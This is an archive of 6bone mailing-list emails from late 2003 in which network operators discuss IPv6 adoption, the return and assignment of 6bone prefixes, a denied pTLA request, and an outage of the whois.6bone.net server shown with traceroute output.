From cinnion@ka8zrt.com Thu Dec 18 14:43:05 2003
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Date: Thu, 18 Dec 2003 17:42:55 -0500
From: Douglas Wade Needham <cinnion@ka8zrt.com>
To: Pim van Pelt <pim@ipng.nl>
Cc: noor al huda <baby_boo_u@hotmail.com>, 6bone@mailman.isi.edu
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Quoting Pim van Pelt (pim@ipng.nl):
> Please refrain from sending HTML mail to this mailinglist. Many people
> cannot read that type of message.

I agree 1M percent.  I either have to bring up such a message as text
and try to puzzle my way through the excuse for HTML which most
programs like outlook or netscape create, or save it and fire up a
browser to look at it.  The only thing more inexcusable is sending
stuff from Micro$oft Orifice to a mailing list.

> As for the Pentagon saying 2008; Not the whole world follows American
> standards -- The far east and Europe are far ahead of the Americas when
> it comes to IPv6 deployment. 
> 
> Europe is kind of getting there. I've seen native BGP come to Holland
> for example, and now many respectable companies are treating IPv6 as a
> part of their network.

In a way, the US being the birthplace for the Internet has become a
major drawback.  There is quite a bit of equipment in North America
which must be updated to allow us to get IPv6 widely deployed, so I
think the Pentagon may unfortunately be correct. 8( Add to this the
fact that companies like MCI/UUNET and others spent quite a bit of
money for Y2K and do not want to turn around right now to spend more
on IPv6 to get things converted, and I think we may be 2010 or later
before IPv4 goes away in the backbone.  Makes for an interesting
conversation with my friends who are still working over at UUNET and
AOL.

- Doug

-- 
Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel programmer
Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
Disclaimer: My opinions are my own.  Since I don't want them, why
            should my employer, or anybody else for that matter! 

From david@iprg.nokia.com Thu Dec 18 15:18:03 2003
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Date: Thu, 18 Dec 2003 15:17:45 -0800
From: David Kessens <david@iprg.nokia.com>
To: Antonio Querubin <tony@lava.net>, 6BONE List <6bone@mailman.isi.edu>
Subject: Re: [6bone] winding down and returns?
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Antonio,

On Thu, Dec 18, 2003 at 12:08:09PM -1000, Antonio Querubin wrote:
> 
> Are there any other alternate registries for tracking BGP peering/tunnels
> between IPv6 networks?

Not yet, but Merit and the RIPE NCC are working on RPSLng which
should give you simular functionality (and some more).

> We use the RADB for IPv4 prefixes but it has no
> provision for handling IPv6 route objects as far as I can tell.  I think
> the 6bone registry still serves a useful purpose in this area for those of
> us peering with ASNs still using 6bone prefixes.

It's perfectly fine if you want to store tunnel information about
production prefixes in the 6bone database too. Nothing has been
decided so far when the registry will go away. At this point, I would
anticipate that we will keep running until at least the official end
of the 6bone and I guess we can decide close to that point whether it
still serves a purpose or whether it is time to retire. Nothing will
be done/changed without asking the community first.

I hope this helps,

David Kessens
---

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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Antonio Querubin'" <tony@lava.net>,
   "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE: [6bone] winding down and returns?
Date: Fri, 19 Dec 2003 00:52:50 +0100
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-----BEGIN PGP SIGNED MESSAGE-----

Antonio Querubin wrote:

> On Thu, 18 Dec 2003, Jeroen Massar wrote:
> 
> > Afaik, the process is quite simple:
> >  - stop announcing the prefix into BGP
> >  - remove prefixes (inet6num, ipv6-site etc) from the 6bone registry
> 
> Are there any other alternate registries for tracking BGP 
> peering/tunnels between IPv6 networks?  We use the RADB for IPv4 prefixes but 
> it has no provision for handling IPv6 route objects as far as I can 
> tell.  I think the 6bone registry still serves a useful purpose in this area 
> for those of us peering with ASNs still using 6bone prefixes.

One can document import/export rules like in:

http://www.noc.easynet.net/network/public/whois.cgi?Whois=-r%20-a%20-T%20aut-num%20AS4589

For the rest one has to wait for RPSLng to be deployed, but afaik
that is nearing completion. RADB and RIPE will at least support this
and so will APNIC at the least. I am wondering what the state of both
ARIN and LACNIC's implementations are though.

> >  - notify this (6bone@mailman.isi.edu) list that your organisation
> >    is returning the prefix and not using it any more.
> 
> Ok, we're officially returning 3ffe:8160::/28.  There are 
> still some BGP
> links using a few addresses out there but they'll be renumbered soon.

It, nor any more specifics, where seen by GRH since 01-12-2003,
thus it looks it is globally gone already.

Greets,
 Jeroen

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From jeroen@unfix.org Thu Dec 18 16:27:17 2003
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Subject: RE: [6bone] RE: Content of 6bone digest, Vol 1 #446
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-----BEGIN PGP SIGNED MESSAGE-----

Douglas Wade Needham wrote:
<SNIP>

> In a way, the US being the birthplace for the Internet has become a
> major drawback. 

"Yeah, Al Gore invented it!" :)

> There is quite a bit of equipment in North America
> which must be updated to allow us to get IPv6 widely deployed, so I
> think the Pentagon may unfortunately be correct. 8( Add to this the
> fact that companies like MCI/UUNET and others spent quite a bit of
> money for Y2K and do not want to turn around right now to spend more
> on IPv6 to get things converted, and I think we may be 2010 or later
> before IPv4 goes away in the backbone.  Makes for an interesting
> conversation with my friends who are still working over at UUNET and
> AOL.

Well, they do all have IPv6 allocations:

2001:600::/32   EU-UUNET-19990810
3ffe:1100::/24  UUNET-UK/GB 
3ffe:8090::/28  UUNET-US
3ffe:8290::/28  AOL/US

AOL is not visible in the global BGP tables though ;(
Next to that there is quite a number of big American ISP's
that are doing IPv6 and with a couple of very good projects
and a lot of marketing effort from the DoD I think that the
US will start catching up, better late then never.

As for not having IPv6 everywhere yet, that's why there are
quite a number of transition methods and there are even
companies providing special hardware for providing those
services and apparently making money from it ;)
Oh but that one is Canadian, but that is North American too.

IPv4 btw will not go away from the backbone in the coming
40 years at least. There is just too much equipment out there
that is using it. One shouldn't be thinking about converting
to IPv6 either, IPv6 brings one new features and much more
address space and services will start co-existing in both
IPv4 and IPv6 and one day in the future IPv4 will become
used only by a few and it will go away, but not just in
the coming couple of years...

Greets,
 Jeroen

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From jeroen@unfix.org Thu Dec 18 16:52:45 2003
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From: "Jeroen Massar" <jeroen@unfix.org>
To: <cinnion@ka8zrt.com>
Cc: <6bone@mailman.isi.edu>
Subject: RE: [6bone] RE: Content of 6bone digest, Vol 1 #446
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-----BEGIN PGP SIGNED MESSAGE-----

[reply to self ;)]

Jeroen Massar wrote:

<SNIP>

> AOL is not visible in the global BGP tables though ;(

Oops, they also have a ARIN prefix, the 6bone prefix isn't
visible but the ARIN prefix is and it also works and has
content ;)

See http://wwwv6.aolv6.aol.com/
Which also contains a link to http://home.ipv6.netscape.com

Their pinger output does show that the majority of entries
in the 6bone database are not updated, especially if one
doesn't update the local copy of the database.

As for MCI, they also run VBNS which is in their way too.

Greets,
 Jeroen

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From mg@ctn1.com Thu Dec 18 17:41:38 2003
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From: "Marc GOMEZ" <mg@ctn1.com>
To: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: RE : [6bone] pTLA request by CTN1 - review closes 16 December 2003
Date: Fri, 19 Dec 2003 02:41:42 +0100
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Good Evening Gentlemen,

Thanks for your different comments. You have make a choice and I respect
this choice. I have not comment about this decision.

Each remark is positive and I would like thanks all people of this list.

Well, have a nice day and good luck for your project on Ipv6.
Best regards
Marc Gomez
CTN1

-----Message d'origine-----
De : 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu] De la
part de Tim Chown
Envoyé : jeudi 18 décembre 2003 12:26
À : 6BONE List
Objet : Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003

On reflection I think this request should be denied, because it does not
meet the requirements, as highlighted by others on this list.   I thus 
remove my previous support for the request.

Tim

On Wed, Dec 17, 2003 at 08:47:20PM +0100, Nicolas DEFFAYET wrote:
> On Tue, 2003-12-02 at 19:32, Bob Fink wrote:
> 6bone Folk,
> 
> > CTN1 has requested a pTLA allocation and I find their request fully 
> > compliant with RFC2772. The open review period for this closes 16
December 
> > 2003. Please send your comments to me or the list.
> > 
> >    <http://www.ctn1.com>
> > 
> > This may be the last 6bone pTLA allocation made as the phaseout plan 
> > specifies no new pTLA allocations after the end of this year. Thus if 
> > anyone is expecting to request a pTLA, the request must be sent to me no

> > later than 5 December to allow enough review and approval time prior to
31 
> > December.
> 
> The community must be open about this request.
> 
> This is the last pTLA request, I think that we can allocate this pTLA.
> Closing the pTLA allocation period with a request denied don't promote
> IPv6 usage and is not good for the community. CTN1 want promote the
> IPv6, i'm agree they are very just with the time, but with deny of this
> request they can't promote IPv6 usage and they can't offer free and high
> quality IPv6 services to their customers.
> 
> Open your eyes, not all pTLA request respect fully RFC2772.
> There is a problem with this request, because some people want troll
> about it.
> 
> I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help
> CTN1 in its IPv6 deploiement.
> 
> Please note that for get a sTLA from RIPE, the requester must be a LIR,
> (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer
> free IPv6 services with a minimum of quality and independance....
> 
> Thanks for have read my mail, i wait your comments.
> 
> Best Regards,
> 
> -- 
> Nicolas DEFFAYET, NDSoftware
> NDSoftware IP Network: http://www.ip.ndsoftware.net/
> FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
> EuroNOG: http://www.euronog.org/
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone


From gert@Space.Net Fri Dec 19 00:40:37 2003
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From: Gert Doering <gert@space.net>
To: Douglas Wade Needham <cinnion@ka8zrt.com>
Cc: Pim van Pelt <pim@ipng.nl>, noor al huda <baby_boo_u@hotmail.com>,
   6bone@mailman.isi.edu
Subject: Re: [6bone] RE: Content of 6bone digest, Vol 1 #446
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References: <BAY9-F84KIMD9XHuah7000267a8@hotmail.com> <20031218191314.GA6092@bfib.colo.bit.nl> <20031218224254.GA434@pell.home.ka8zrt.com>
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Hi,

On Thu, Dec 18, 2003 at 05:42:55PM -0500, Douglas Wade Needham wrote:
> money for Y2K and do not want to turn around right now to spend more
> on IPv6 to get things converted, and I think we may be 2010 or later
> before IPv4 goes away in the backbone.  Makes for an interesting
> conversation with my friends who are still working over at UUNET and
> AOL.

"Widely deploying IPv6" and "IPv4 going away in the backbone" are two
very distinct pairs of shoe :-)- I think Europe is really making big
progress towards the first, but nobdy has any realistic estimates for
a shutdown day for IPv4 (if it ever happens)...

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  57386  (57785)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From tjc@ecs.soton.ac.uk Fri Dec 19 01:29:02 2003
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Date: Fri, 19 Dec 2003 09:28:57 +0000
From: Tim Chown <tjc@ecs.soton.ac.uk>
To: Marc GOMEZ <mg@ctn1.com>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: RE : [6bone] pTLA request by CTN1 - review closes 16 December 2003
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Hi Marc,

You should still have no problem getting IPv6 address space for your company.

Either you should be able to get (production) IPv6 address space from an 
existing European provider, or alternatively since NDSoftware is backing your 
request just get address space from their experimental pTLA.

Alternatively if you meet the requirements and pay the RIPE NCC membership/
LIR fee (I believe around 2,500 Euros) you can apply for your own production 
prefix, if you meet the requirements:

http://www.ripe.net/ripe/docs/ipv6policy.html

(see Section 5.1)

Good luck!
Tim

On Fri, Dec 19, 2003 at 02:41:42AM +0100, Marc GOMEZ wrote:
> Good Evening Gentlemen,
> 
> Thanks for your different comments. You have make a choice and I respect
> this choice. I have not comment about this decision.
> 
> Each remark is positive and I would like thanks all people of this list.
> 
> Well, have a nice day and good luck for your project on Ipv6.
> Best regards
> Marc Gomez
> CTN1
> 
> -----Message d'origine-----
> De : 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu] De la
> part de Tim Chown
> Envoyé : jeudi 18 décembre 2003 12:26
> À : 6BONE List
> Objet : Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
> 
> On reflection I think this request should be denied, because it does not
> meet the requirements, as highlighted by others on this list.   I thus 
> remove my previous support for the request.
> 
> Tim
> 
> On Wed, Dec 17, 2003 at 08:47:20PM +0100, Nicolas DEFFAYET wrote:
> > On Tue, 2003-12-02 at 19:32, Bob Fink wrote:
> > 6bone Folk,
> > 
> > > CTN1 has requested a pTLA allocation and I find their request fully 
> > > compliant with RFC2772. The open review period for this closes 16
> December 
> > > 2003. Please send your comments to me or the list.
> > > 
> > >    <http://www.ctn1.com>
> > > 
> > > This may be the last 6bone pTLA allocation made as the phaseout plan 
> > > specifies no new pTLA allocations after the end of this year. Thus if 
> > > anyone is expecting to request a pTLA, the request must be sent to me no
> 
> > > later than 5 December to allow enough review and approval time prior to
> 31 
> > > December.
> > 
> > The community must be open about this request.
> > 
> > This is the last pTLA request, I think that we can allocate this pTLA.
> > Closing the pTLA allocation period with a request denied don't promote
> > IPv6 usage and is not good for the community. CTN1 want promote the
> > IPv6, i'm agree they are very just with the time, but with deny of this
> > request they can't promote IPv6 usage and they can't offer free and high
> > quality IPv6 services to their customers.
> > 
> > Open your eyes, not all pTLA request respect fully RFC2772.
> > There is a problem with this request, because some people want troll
> > about it.
> > 
> > I don't work for CTN1, CTN1 is just a partner for NDSoftware. We help
> > CTN1 in its IPv6 deploiement.
> > 
> > Please note that for get a sTLA from RIPE, the requester must be a LIR,
> > (a cost of ~ 4500 EUR). It's a very high cost for promote IPv6 and offer
> > free IPv6 services with a minimum of quality and independance....
> > 
> > Thanks for have read my mail, i wait your comments.
> > 
> > Best Regards,
> > 
> > -- 
> > Nicolas DEFFAYET, NDSoftware
> > NDSoftware IP Network: http://www.ip.ndsoftware.net/
> > FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
> > EuroNOG: http://www.euronog.org/
> > 
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

From nicolas.deffayet@ndsoftware.net Fri Dec 19 03:17:00 2003
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Subject: Re: RE : [6bone] pTLA request by CTN1 - review closes 16 December
	2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Tim Chown <tjc@ecs.soton.ac.uk>
Cc: Marc GOMEZ <mg@ctn1.com>, "'6BONE List'" <6bone@mailman.isi.edu>
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On Fri, 2003-12-19 at 10:28, Tim Chown wrote:
Hi,

> You should still have no problem getting IPv6 address space for your company.
> 
> Either you should be able to get (production) IPv6 address space from an 
> existing European provider, or alternatively since NDSoftware is backing your 
> request just get address space from their experimental pTLA.

NDSoftware have assigned the prefix 3ffe:4013:4000::/36 to CTN1:

inet6num:     3FFE:4013:4000::/36
netname:      FR-CTN1-20031218
descr:        CTN1
country:      FR
admin-c:      RP1620-RIPE
tech-c:       RP1620-RIPE
rev-srv:      ns1.ctn1.net
rev-srv:      ns2.ctn1.net
rev-srv:      ns3.ctn1.net
notify:       noc@ndsoftware.net
mnt-by:       MNT-NDSOFTWARE
changed:      nicolas.deffayet@ndsoftware.net 20031218
source:       6BONE

We have reserved 3ffe:4013:5000::/36 for CTN1 if after they need more
address space.


Best regards,

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From nicolas.deffayet@ndsoftware.net Fri Dec 19 03:40:00 2003
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Subject: Re: [6bone] pTLA request by CTN1 - review closes 16 December 2003
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Dan Reeder <dan@reeder.name>
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On Thu, 2003-12-18 at 00:35, Dan Reeder wrote:

Dan,

> Besides, as has been pointed out the 6bone is on its last legs. If CTN1 is
> such a well funded company (i'd love to have 1 million euros at my disposal)
> then I'm sure RIPE would be all ears. And if thats still not feasible, what
> is stopping NDSoftware from giving a /35 to them? You are partners, right?

We have assigned a /36 to CTN1 with the possibility to extend to a /35.
(see my previous mail about that for more details).

Yes, we are partner.

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From nicolas.deffayet@ndsoftware.net Fri Dec 19 03:52:24 2003
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Subject: Re: [6bone] winding down and returns?
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bob Fink <bob@thefinks.com>
Cc: Tim Chown <tjc@ecs.soton.ac.uk>, 6BONE List <6bone@mailman.isi.edu>
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On Thu, 2003-12-18 at 16:52, Bob Fink wrote:
Bob,

> >Some networks already don't accept 6bone prefixes.  So their usefulness
> >is already becoming more limited.
> 
> If this is becoming the trend, doesn't it make most uses of the 6bone 
> irrelevant? Maybe it would be better to create (and keep current) a list of 
> really good pTLAs, even establishing some meaningful standards for what 
> that means, that would encourage production prefix holders to peer with them?

I'm agree, making a list of really good and important pTLAs is very
useful.

-- 
Nicolas DEFFAYET, NDSoftware
NDSoftware IP Network: http://www.ip.ndsoftware.net/
FNIX6 (French National Internet Exchange IPv6): http://www.fnix6.net/
EuroNOG: http://www.euronog.org/


From chuck@degler.net Mon Dec 22 17:01:43 2003
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From: Chuck Yerkes <chuck+6bone@snew.com>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] RE: Content of 6bone digest, Vol 1 #446
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Quoting Douglas Wade Needham (cinnion@ka8zrt.com):
> Quoting Pim van Pelt (pim@ipng.nl):
> > Please refrain from sending HTML mail to this mailinglist. Many people
> > cannot read that type of message.
> 
> I agree 1M percent.  I either have to bring up such a message as text
> and try to puzzle my way through the excuse for HTML which most

I know I skipped it :)
 
> > As for the Pentagon saying 2008; Not the whole world follows American
> > standards -- The far east and Europe are far ahead of the Americas when
> > it comes to IPv6 deployment. 

And have far more motivation (and less address space).  It's also
EASIER.  I don't find many homes in the EU that have internet there
24x7.  That means that there's less of a "redo" to do.  Easiest, likely
are areas without as much net prevalence - eg. china and africa.

I recall amazing my coworkers in france (while visiting) in that
I could 
1) log into my house from the internet and
2) control lights and read the alarm's motion sensors and such
   (hmmm, motion in living room, then kitchen, She must be awake).

They didn't get, in 1999, why you'd have a computer on all the time
in your house.  Sure, they'd carry a laptop home, but all the time?
(and these were unix guys generally).

I do regularly ask my broadband and Cellular provider when I get
IPv6 addresses.  I've gotten others too as well.  So when PacBell
says nobody brings it up, they lie.

> In a way, the US being the birthplace for the Internet has become a
> major drawback.  There is quite a bit of equipment in North America
> which must be updated to allow us to get IPv6 widely deployed, so I
> think the Pentagon may unfortunately be correct. 8( Add to this the
> fact that companies like MCI/UUNET and others spent quite a bit of
> money for Y2K and do not want to turn around right now to spend more
> on IPv6 to get things converted, and I think we may be 2010 or later

I disagree.  Y2k was nearly 4 years ago.  Most of that newly bought
equipment is fully depreciated.  I think that was a big cause of
not much being bought POST y2k (everything is < 2years old, why refresh?).

> before IPv4 goes away in the backbone.  Makes for an interesting
> conversation with my friends who are still working over at UUNET and
> AOL.

I think the backbone is exactly where IPv4 CAN go away most easily.
The edges and inside companies is where IPv6 is likely to be around
for decades.


Me?  My pet desire is to see a tiny IPv6 stack that could easily
be used in embedded devices (< 1MB of RAM).  I can get plenty of
boards that speak IPv4, but 6 means that it's at least more feasable
in itty bitty stupid things (say a controller for an appliance).

And it would help if I could easily run an NFS workstation in a mixed
env using ZERO ipv4.  Windows free is fine; but I can't run 6 only
with a FAITH gateway with most unixes (or OS X).

From jguthrie@brokersys.com Mon Dec 22 18:56:04 2003
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On Mon, Dec 22, 2003 at 08:00:59PM -0500, Chuck Yerkes wrote:
> And have far more motivation (and less address space).

Actually, since the free IPv4 blocks are allocated on an on-demand
basis, that isn't true.  Everybody pulls IPv4 addresses out of the same
pool of unallocated addresses.

> I do regularly ask my broadband and Cellular provider when I get
> IPv6 addresses.  I've gotten others too as well.  So when PacBell
> says nobody brings it up, they lie.

So you've gotten perhaps 20 people to ask.  SBC has perhaps 10 million
customers.  To a first order approximation, nobody does bring it up.

I have had other problems with SBC and I know that they really aren't
able to handle anything but mass market "any color you want, as long
as it's black" service.  You're probably doomed to disappointement if
you're trying to convince SBC to do anything "leading edge".

> > before IPv4 goes away in the backbone.  Makes for an interesting
> > conversation with my friends who are still working over at UUNET and
> > AOL.
 
> I think the backbone is exactly where IPv4 CAN go away most easily.

I've got $100 US in my pocket that says that there will be at least one
"backbone" provider with native IPv4 service 30 years from now.  (I
would have said 100 years from now, but it's unlikely in the extreme
that I'll live long enough to collect on that bet.)  Even if IPv6 is
adopted vastly faster than I expect, IPv4 will likely not go away
within the lifetimes of any of the participants here.  Perhaps never.

> Me?  My pet desire is to see a tiny IPv6 stack that could easily
> be used in embedded devices (< 1MB of RAM).

Don't want much, do you.  The IPv6 module I use on my computers is 280k
long.  IPv4 takes maybe 1/10th that much.  In fact, that, along with a
complete lack of multihoming solutions unless you're a TLA, is what
prevents the widespread adoption of IPv6.

Here's a question:  What end-user routers for DSL, cablemodem, or ISDN
access support IPv6?  If you want IPv6 to be adopted in North America,
make that list longer.
-- 
Jonathan Guthrie (jguthrie@brokersys.com)
Sto pro veritate

From cinnion@ka8zrt.com Mon Dec 22 20:35:48 2003
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From: Douglas Wade Needham <cinnion@ka8zrt.com>
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Quoting Jonathan Guthrie (jguthrie@brokersys.com):
> I have had other problems with SBC and I know that they really aren't
> able to handle anything but mass market "any color you want, as long
> as it's black" service.  You're probably doomed to disappointement if
> you're trying to convince SBC to do anything "leading edge".

And unfortunately, given how big SBC is and how they are used to
provide connectivity for folks like me, IPv6 is going to be tunneled
for folks like me for quite a while.

> > > before IPv4 goes away in the backbone.  Makes for an interesting
> > > conversation with my friends who are still working over at UUNET and
> > > AOL.
>  
> > I think the backbone is exactly where IPv4 CAN go away most easily.
> 
> I've got $100 US in my pocket that says that there will be at least one
> "backbone" provider with native IPv4 service 30 years from now.  (I
> would have said 100 years from now, but it's unlikely in the extreme
> that I'll live long enough to collect on that bet.)  Even if IPv6 is
> adopted vastly faster than I expect, IPv4 will likely not go away
> within the lifetimes of any of the participants here.  Perhaps never.

I would have to agree that IPv4 has quite a lifetime ahead of it.  And
while quite a bit of the equipment which was bought for Y2K has
depreciated, companies tend not to buy new equipment unless they
absolutely have to do so.  This is how Lucent has managed to layoff
the 70% or more of us who were working there Jan 1, 2000, including
myself.  They are still selling what amounts to legacy equipment with
just a few new features tacked on top of it.  Indeed, the 5ESS telco
switch which we designed probably 20 or more years ago had a project
to produce a replacement.  I know about half the folks who were
working on the 7E when it was canceled about 2 years ago.  A number of
those folks ended up working on my project here in Columbus, OH, and
in the past 2 years, over 70% of us either were retired early or laid
off. 

There are three certain ways to force a company to upgrade equipment
or software, at least in the telco sector.  They are:

    a) Lack of parts
    b) Lack of capacity
    c) Lack of a key feature (e.g. being able to handle Jan 1, 2000
       properly).

Anything short of that, and getting somebody to upgrade becomes nearly
impossible.  This is the main way they manage to give you dialtone
every time you pick up the phone.

I have been looking at this whole area for a number of years now.
Probably the best thing to happen to get IPv6 going in NA is to have a
killer app encourage the deployment of IPv6 so that each cell phone
gets an IP.  One other possibility would be fiber to the premises
(FTTP), so that we end up with more folks wanting to access things at
home while they are out and about.  However...

> > Me?  My pet desire is to see a tiny IPv6 stack that could easily
> > be used in embedded devices (< 1MB of RAM).
> 
> Don't want much, do you.  The IPv6 module I use on my computers is 280k
> long.  IPv4 takes maybe 1/10th that much.  In fact, that, along with a
> complete lack of multihoming solutions unless you're a TLA, is what
> prevents the widespread adoption of IPv6.
> 
> Here's a question:  What end-user routers for DSL, cablemodem, or ISDN
> access support IPv6?  If you want IPv6 to be adopted in North America,
> make that list longer.

This is probably one of the real reasons it will take at least a few
years.  I know quite a bit of the HW is capable of it, but the
companies writing the SW do not see a good ROI, so they are not doing
anything to get IPv6 support into their equipment.  You could say this
is a chicken and egg scenario.

- Doug

-- 
Douglas Wade Needham - KA8ZRT        UN*X Consultant & UW/BSD kernel programmer
Email:  cinnion @ ka8zrt . com       http://cinnion.ka8zrt.com
Disclaimer: My opinions are my own.  Since I don't want them, why
            should my employer, or anybody else for that matter! 

From alain.frieden@restena.lu Tue Dec 23 16:02:45 2003
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I will be out of the office starting  20/12/2003 and will not return until
02/01/2004.

For urgent matters please contact noc@restena.lu !



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Subject: [6bone] whois.6bone.net down?
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-----BEGIN PGP SIGNED MESSAGE-----

Hi,

I just noticed that whois.6bone.net seems down over IPv4 and IPv6:

jeroen@purgatory:~$ traceroute whois.6bone.net
traceroute to whois.6bone.net (192.103.19.12), 64 hops max, 40 byte packets
 1  nrp-1.bras-1.ams-tel.cistron.net (195.64.92.1)  59 ms  19 ms  19 ms
 2  ve-4.rtr-1.ams-sar.cistron.net (62.216.29.1)  19 ms  18 ms  18 ms
 3  ge10-0.mpr1.ams1.nl.mfnx.net (195.69.144.122)  19 ms  19 ms  18 ms
 4  pos2-0.cr2.ams2.nl.above.net (208.184.231.254)  19 ms  18 ms  18 ms
 5  so-4-0-0.cr2.lhr3.uk.above.net (64.125.31.157)  27 ms  25 ms  26 ms
 6  so-0-0-0.cr1.lhr3.uk.above.net (208.184.231.145)  26 ms  26 ms  26 ms
 7  so-7-0-0.cr1.dca2.us.above.net (64.125.31.186)  98 ms  98 ms  98 ms
 8  so-0-0-0.cr2.dca2.us.above.net (208.184.233.122)  98 ms  99 ms  100 ms
 9  so-6-3-0.mpr4.sjc2.us.above.net (64.125.30.166)  203 ms  195 ms  195 ms
10  so-0-0-0.er10a.sjc2.us.above.net (64.125.30.94)  206 ms  190 ms  200 ms
11  208.185.182.61.he.net (208.185.182.61)  199 ms  203 ms  204 ms
12  gige-g0-0-2.gsr12008.pao.he.net (65.19.156.125)  200 ms  194 ms  200 ms
13  65.19.141.238 (65.19.141.238)  172 ms  171 ms  170 ms
14  65.19.141.238 (65.19.141.238)  170 ms !H  171 ms !H  170 ms !H

jeroen@purgatory:/etc/network$ traceroute6 whois.6bone.net
traceroute to whois.6bone.net (2001:490:f000:1300::c) from 3ffe:8114:2000:240:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
 1  gw-20.ams-02.nl.sixxs.net (3ffe:8114:1000::26)  19.258 ms  19.361 ms  20.027 ms
 2  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  47.478 ms  19.8 ms  19.743 ms
 3  3ffe:800::fffb:0:0:5 (3ffe:800::fffb:0:0:5)  176.384 ms  324.368 ms  177.661 ms
 4  2001:478:ffff::1e (2001:478:ffff::1e)  227.285 ms  217.023 ms  215.926 ms
 5  3ffe:80a::3 (3ffe:80a::3)  213.368 ms  196.731 ms  196.995 ms
 6  3ffe:1200:3012:1916::18 (3ffe:1200:3012:1916::18)  195.91 ms  193.864 ms  204.643 ms
 7  2001:490:f000:1300::1 (2001:490:f000:1300::1)  2983.78 ms !H  2969.3 ms !H  2998.28 ms !H

Is it a known problem?

Greets,
 Jeroen

-----BEGIN PGP SIGNATURE-----
Version: Unfix PGP for Outlook Alpha 13 Int.
Comment: Jeroen Massar / http://unfix.org/~jeroen

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From haesu@mx01.bos.ma.towardex.com Sun Jan  4 16:14:39 2004
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Date: Sun, 4 Jan 2004 19:14:43 -0500
From: haesu@towardex.com
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'6BONE List'" <6bone@mailman.isi.edu>
Subject: Re: [6bone] whois.6bone.net down?
Message-ID: <20040105001443.GA94438@scylla.towardex.com>
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It's been down for the past few days I noticed. Doesn't work for me either.

-J

On Sun, Jan 04, 2004 at 09:44:53PM +0100, Jeroen Massar wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> 
> Hi,
> 
> I just noticed that whois.6bone.net seems down over IPv4 and IPv6:
> 
> jeroen@purgatory:~$ traceroute whois.6bone.net
> traceroute to whois.6bone.net (192.103.19.12), 64 hops max, 40 byte packets
>  1  nrp-1.bras-1.ams-tel.cistron.net (195.64.92.1)  59 ms  19 ms  19 ms
>  2  ve-4.rtr-1.ams-sar.cistron.net (62.216.29.1)  19 ms  18 ms  18 ms
>  3  ge10-0.mpr1.ams1.nl.mfnx.net (195.69.144.122)  19 ms  19 ms  18 ms
>  4  pos2-0.cr2.ams2.nl.above.net (208.184.231.254)  19 ms  18 ms  18 ms
>  5  so-4-0-0.cr2.lhr3.uk.above.net (64.125.31.157)  27 ms  25 ms  26 ms
>  6  so-0-0-0.cr1.lhr3.uk.above.net (208.184.231.145)  26 ms  26 ms  26 ms
>  7  so-7-0-0.cr1.dca2.us.above.net (64.125.31.186)  98 ms  98 ms  98 ms
>  8  so-0-0-0.cr2.dca2.us.above.net (208.184.233.122)  98 ms  99 ms  100 ms
>  9  so-6-3-0.mpr4.sjc2.us.above.net (64.125.30.166)  203 ms  195 ms  195 ms
> 10  so-0-0-0.er10a.sjc2.us.above.net (64.125.30.94)  206 ms  190 ms  200 ms
> 11  208.185.182.61.he.net (208.185.182.61)  199 ms  203 ms  204 ms
> 12  gige-g0-0-2.gsr12008.pao.he.net (65.19.156.125)  200 ms  194 ms  200 ms
> 13  65.19.141.238 (65.19.141.238)  172 ms  171 ms  170 ms
> 14  65.19.141.238 (65.19.141.238)  170 ms !H  171 ms !H  170 ms !H
> 
> jeroen@purgatory:/etc/network$ traceroute6 whois.6bone.net
> traceroute to whois.6bone.net (2001:490:f000:1300::c) from 3ffe:8114:2000:240:290:27ff:fe24:c19f, 30 hops max, 16 byte packets
>  1  gw-20.ams-02.nl.sixxs.net (3ffe:8114:1000::26)  19.258 ms  19.361 ms  20.027 ms
>  2  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  47.478 ms  19.8 ms  19.743 ms
>  3  3ffe:800::fffb:0:0:5 (3ffe:800::fffb:0:0:5)  176.384 ms  324.368 ms  177.661 ms
>  4  2001:478:ffff::1e (2001:478:ffff::1e)  227.285 ms  217.023 ms  215.926 ms
